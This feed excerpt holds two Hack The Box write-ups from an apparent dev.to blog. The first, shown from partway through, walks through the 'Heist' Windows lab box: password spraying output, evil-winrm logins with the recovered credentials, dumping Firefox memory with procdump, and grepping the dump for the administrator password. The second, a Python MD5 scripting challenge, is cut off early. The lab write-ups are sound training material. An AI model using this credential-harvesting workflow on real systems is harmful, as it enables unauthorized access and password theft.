Trying support:stealth1agent
Trying chase:$uperP@ssword
Trying chase:Q4)sJu\Y8qz*A3?d
[SUCCESS] user: chase password: Q4)sJu\Y8qz*A3?d
Trying chase:stealth1agent
Trying jason:$uperP@ssword
Trying jason:Q4)sJu\Y8qz*A3?d
Trying jason:stealth1agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We got a hit! &lt;/p&gt;

&lt;p&gt;Now we can add this to our creds file.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chase:Q4)sJu\Y8qz*A3?d&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Logging in with evil-winrm
&lt;/h2&gt;

&lt;p&gt;Claim your shell with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;evil-winrm -i 10.10.10.149 -u "chase" -p "Q4)sJu\Y8qz*A3?d"&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Install evil-winrm with the following: &lt;code&gt;sudo gem install evil-winrm&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The output should look like the following: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenp1689s32u41ggatufg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenp1689s32u41ggatufg.png" alt="Image description" width="763" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  User flag:
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F46z4tmcx1rjqgagy68dn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F46z4tmcx1rjqgagy68dn.png" alt="Image description" width="664" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Privesc
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Todo.txt
&lt;/h2&gt;

&lt;p&gt;Let's check out that &lt;code&gt;todo.txt&lt;/code&gt; file:&lt;/p&gt;

&lt;h2&gt;
  
  
  Inspecting /issues.php
&lt;/h2&gt;

&lt;p&gt;Now that we're on the box, we can look deeper into &lt;code&gt;issues.php&lt;/code&gt; to see if there are any secrets.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86slk7u97p0sa6yoir5w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F86slk7u97p0sa6yoir5w.png" alt="Image description" width="794" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcm7s5agck1rj3dxo454i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcm7s5agck1rj3dxo454i.png" alt="Image description" width="652" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you're anything like me, you'll be kicked out of your shell multiple times!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fggns3kzprknq0bi5mxkv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fggns3kzprknq0bi5mxkv.png" alt="Image description" width="800" height="269"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So you can skip directly to where you need with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;evil-winrm -i &amp;lt;IP&amp;gt; -u "chase" -p "Q4)sJu\Y8qz*A3?d"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3erjpmp7v6srqwj4xrae.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3erjpmp7v6srqwj4xrae.png" alt="Image description" width="800" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;type issues.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We find session information at the top:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhc67tnwtf93gmmba808d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhc67tnwtf93gmmba808d.png" alt="Image description" width="800" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  /login.php
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/body&amp;gt;
&amp;lt;?php
session_start();
if( isset($_REQUEST['login']) &amp;amp;&amp;amp; !empty($_REQUEST['login_username']) &amp;amp;&amp;amp; !empty($_REQUEST['login_password'])) {
        if( $_REQUEST['login_username'] === 'admin@support.htb' &amp;amp;&amp;amp; hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
                $_SESSION['admin'] = "valid";
                header('Location: issues.php');
        }
        else
                header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
        if( $_GET['guest'] === 'true' ) {
                $_SESSION['guest'] = "valid";
                header('Location: issues.php');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Dumping processes
&lt;/h2&gt;

&lt;p&gt;Just like Linux, the &lt;code&gt;ps&lt;/code&gt; command can dump the current processes in Windows.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\Chase\Documents&amp;gt; ps                                    

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName           
-------  ------    -----      -----     ------     --  -- -----------           
    461      18     2228       5380               372   0 csrss                 
    291      13     2228       5100               484   1 csrss                 
    357      15     3448      14552              4868   1 ctfmon                
    250      14     3956      13388              3564   0 dllhost               
    166       9     1864       9728       0.03   6680   1 dllhost               
    615      32    30264      57692               976   1 dwm                   
   1483      57    23172      78420              1808   1 explorer              
    355      25    16528      39252       0.09   2692   1 firefox               
   1071      74   182336     258824       7.92   6320   1 firefox               
    347      19    10256      35700       0.22   6432   1 firefox
    401      35    49200     107168       2.78   6596   1 firefox
    378      29    29500      65904       0.80   6912   1 firefox
     49       6     1500       3868               772   0 fontdrvhost
     49       6     1800       4664               780   1 fontdrvhost
      0       0       56          8                 0   0 Idle
    964      22     5720      14440               624   0 lsass
    223      13     2944      10256              3896   0 msdtc
      0      12      268      15448                88   0 Registry
      ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It seems like we've got Firefox running, we can inspect this further.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proc dump
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procdump"&gt;Proc dump is an official tool by Microsoft. You can download it here.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;upload it using the full path like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\Chase\Desktop&amp;gt; upload /home/sshad0w/Documents/ctf/htb/tracks/intro-to-dante/heist/procdump64.exe

Info: Uploading /home/sshad0w/Documents/ctf/htb/tracks/intro-to-dante/heist/procdump64.exe to C:\Users\Chase\Desktop\procdump64.exe

Data: 566472 bytes of 566472 bytes copied

Info: Upload successful!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To run a program in windows, we use the &lt;code&gt;.\&lt;/code&gt; notation.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;.\procdump64&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Since it's your first time running the program, you may run into a message like this: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgrvn5ru3j7vgssgvbdfx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgrvn5ru3j7vgssgvbdfx.png" alt="Image description" width="800" height="56"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we'll have to run it with different arguments&lt;/p&gt;

&lt;p&gt;&lt;code&gt;.\procdump64.exe -accepteula -ma &amp;lt;PID&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Another issue that we may have is where we find the process in our list. If only we had some kind of way to &lt;code&gt;grep&lt;/code&gt; for only Firefox processes....&lt;/p&gt;

&lt;p&gt;Let's modify our &lt;code&gt;ps&lt;/code&gt; command to only &lt;code&gt;firefox&lt;/code&gt; processes.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ps | findstr firefox&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tc2k0apm76iq48shy6w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8tc2k0apm76iq48shy6w.png" alt="Image description" width="793" height="171"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pick an ID, and run the command from earlier: &lt;/p&gt;

&lt;p&gt;&lt;code&gt;.\procdump64.exe -accepteula -ma 2692&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;*Don't forget that your PID may be different from mine!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then we'll download it with&lt;/p&gt;

&lt;p&gt;&lt;code&gt;download firefox.exe_230623_015925.dmp&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgkv9zc3nlgwmw4i4h34n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgkv9zc3nlgwmw4i4h34n.png" alt="Image description" width="800" height="123"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After it finishes, we can inspect it on our own machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Inspecting the dump file
&lt;/h2&gt;

&lt;p&gt;Now that we've recovered the dump, we can switch our minds from pentesting to forensics. Our goal is to recover information from the dump file.&lt;/p&gt;

&lt;p&gt;Just to verify the file type, we can run the file command.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3dpa0hwo4nyoveg5y1ll.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3dpa0hwo4nyoveg5y1ll.png" alt="Image description" width="800" height="83"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In order to see if there are any strings in the file, we can run the "strings" command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;strings firefox&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After running the command, I ran into an issue:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0qfp5hw2r9dip6sk14s2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0qfp5hw2r9dip6sk14s2.png" alt="Image description" width="630" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The file is huge. Even when I filter out human readable strings, it still gives me boatloads of information. &lt;/p&gt;

&lt;p&gt;In order to cut this down, I'll &lt;code&gt;grep&lt;/code&gt; for things like cookies, usernames, and passwords.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;*I like to use tmux while I'm doing these, but the output was so long, I couldn't scroll through it all! For this reason I had to output it into separate files &lt;/p&gt;

&lt;p&gt;&lt;code&gt;strings firefox.exe_230623_015925.dmp | grep admin &amp;gt; dump_admin.txt&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After lots of searching, I found the administrator's password by searching for the username &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1orqxznfjq55sg4gkqn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1orqxznfjq55sg4gkqn.png" alt="Image description" width="800" height="47"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Root
&lt;/h2&gt;

&lt;p&gt;We can achieve the root flag by logging in directly with the new password.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;evil-winrm -i 10.10.10.149 -u "administrator" -p '4dD!5}x/re8]FBuZ'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fldonnrqthl2nyhd619vi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fldonnrqthl2nyhd619vi.png" alt="Image description" width="800" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3yidq80nxxckoxirheo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3yidq80nxxckoxirheo.png" alt="Image description" width="800" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I'll be honest: I cracked this box a few years ago, but I'm making an effort to shift more towards more Windows related content, and I realized this blog would be a good start.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fso53tqd9kr0wdmx5j5og.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fso53tqd9kr0wdmx5j5og.png" alt="Image description" width="800" height="676"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Please let me know in the comments if you have any questions, suggestions, or alternate paths!&lt;/p&gt;

&lt;p&gt;Don't forget to always ask better questions!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>windows</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>Hack The Box Writeup: Emdee Five for Life</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Mon, 26 Jun 2023 16:35:28 +0000</pubDate>
      <link>https://forem.com/sshad0w/hack-the-box-writeup-emdee-five-for-life-1387</link>
      <guid>https://forem.com/sshad0w/hack-the-box-writeup-emdee-five-for-life-1387</guid>
      <description>&lt;p&gt;Hello hackers! Today we'll cover a quick and fun scripting challenge using python. This is the first challenge on the &lt;a href="https://app.hackthebox.com/tracks/Intro-to-Dante"&gt;Intro to Dante track&lt;/a&gt; on Hack The Box which is described as: &lt;br&gt;
"Practice machines and challenges to help you prepare for the Dante Pro Lab."&lt;/p&gt;
&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;For this challenge, we're met with a website that presents us with a prompt and field. The field says "MD5" in it, suggesting that we're expected to submit the MD5 hash version of the text.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NnbAa466--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ny47q7o5mnslftml4izw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NnbAa466--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ny47q7o5mnslftml4izw.png" alt="Image description" width="420" height="190"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Methodology:
&lt;/h1&gt;

&lt;p&gt;I looked up an &lt;a href="https://www.md5hashgenerator.com/"&gt;MD5 hash generator website&lt;/a&gt; to complete the challenge. I inputted the string, copied the hash, and I was met with an unfavorable response:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bi48cSw1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/00vv1olesderj5pu8pnp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bi48cSw1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/00vv1olesderj5pu8pnp.png" alt="Image description" width="424" height="230"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The site changed the text provided and told me I was "Too slow!". Since I didn't appreciate it's teasing, I decided to boost my speed with a bespoke solution to this challenge.&lt;/p&gt;
&lt;h1&gt;
  
  
  Identifying the template
&lt;/h1&gt;

&lt;p&gt;First, I need to see what a normal raw response looks like from this server, so I'm able to parse out the relevant data, hash it, and submit a response &lt;em&gt;programmatically&lt;/em&gt;. For that reason, I don't think burp suite will help me here, as it won't give me a view of how it needs to be parsed. I think python will get the job done well.&lt;/p&gt;
&lt;h2&gt;
  
  
  Grabbing the response
&lt;/h2&gt;

&lt;p&gt;I opened up the greatest editor of all time and wrote:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests
response = requests.get('http://134.209.176.83:30536') # change this for your instance!
print(response.content)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's extremely simple, but it did the trick. Running this code gave me a response like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;b'&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;emdee five for life&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;body&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"background-color:powderblue;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;h1&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;\'center\'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;MD5 encrypt this string&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&amp;lt;h3&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;\'center\'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;c3WOTbjAmW4hFDHQpCjZ&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&amp;lt;center&amp;gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"hash"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"MD5"&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;\'center\'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;/br&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;\n&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;\n'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I ran it a few more times to make sure I had a good understanding of the format.&lt;/p&gt;

&lt;p&gt;Great! Now all I need to do is pluck out the relevant information in the response.&lt;/p&gt;

&lt;h2&gt;
  
  
  Parsing the output
&lt;/h2&gt;

&lt;p&gt;I tried parsing the output using classic python methods like &lt;code&gt;.split()&lt;/code&gt;, but I ran into the following.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TypeError: byte indices must be integers or slices, not str
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Turns out this was still raw bytes, instead of a proper string type.&lt;/p&gt;

&lt;p&gt;The following update to my code fixed this issue:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests
response = requests.get('http://134.209.176.83:30536')
res = response.content

res = res.decode('utf-8')

print(res)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now our output is a properly formatted string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;emdee five for life&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"background-color:powderblue;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h1&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;'center'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;MD5 encrypt this string&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&amp;lt;h3&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;'center'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;pV0iSaxkboFU0E07UayP&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&amp;lt;center&amp;gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"hash"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"MD5"&lt;/span&gt; &lt;span class="na"&gt;align=&lt;/span&gt;&lt;span class="s"&gt;'center'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/br&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;
